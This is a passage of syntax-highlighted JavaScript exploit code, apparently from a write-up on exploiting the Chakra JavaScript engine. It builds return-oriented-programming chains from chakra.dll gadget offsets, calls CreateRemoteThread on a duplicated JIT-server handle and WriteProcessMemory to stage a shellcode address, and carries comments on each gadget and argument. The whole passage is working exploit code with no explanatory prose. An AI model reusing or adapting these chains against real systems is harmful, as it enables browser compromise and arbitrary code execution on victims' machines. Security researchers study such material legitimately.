<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x28b4fe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>	   <span class="c1">// 0x180043c63: Anything we want - this will never get executed</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which holds our full perms handle to JIT server</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPSECURITY_ATTRIBUTES lpThreadAttributes (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// NULL (default security properties)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T dwStackSize (R8)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// 0 (default stack size)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!CreateRemoteThread</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0xdcfd0</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!CreateRemoteThread</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!CreateRemoteThread)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!CreateRemoteThread - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span> 
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// LPVOID lpParameter (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000004</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwCreationFlags (RSP+0x30) (CREATE_SUSPENDED to avoid executing the thread routine)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// LPDWORD lpThreadId (RSP+0x38)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// WriteProcessMemory() ROP chain (Number 2)</span>
<span class="c1">// Stage 5 -&gt; Update the final ROP chain, currently in the charka.dll .data section, with the address of our shellcode in the pop rcx gadget for lpAddress</span>

<span class="c1">// Before, we need to preserve the thread HANDLE returned by CreateRemoteThread</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a100</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we will store the thread HANDLE</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T nSize (R9)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000008</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T nSize (0x8)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0xffffffff</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">);</span>             <span class="c1">// Current process</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPVOID lpBaseAddress (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">ropoffsetOne</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span> <span class="c1">// .data section of chakra.dll where our final ROP chain is</span>
<span class="nx">next</span><span class="p">();</span>                                                                       

<span class="c1">// LPCVOID lpBuffer (R8) (Our kernelbase.dll .data section address which points to the value we want to write, the allocation of the VirtualAllocEx allocation)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where the VirtualAllocEx allocation is stored</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!WriteProcessMemory</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x79a40</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!WriteProcessMemory address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// WriteProcessMemory() ROP chain (Number 3)</span>
<span class="c1">// Stage 6 -&gt; Update the final ROP chain, currently in the charka.dll .data section, with the address of our shellcode in the pop rdi gadget for our "fake return address"</span>

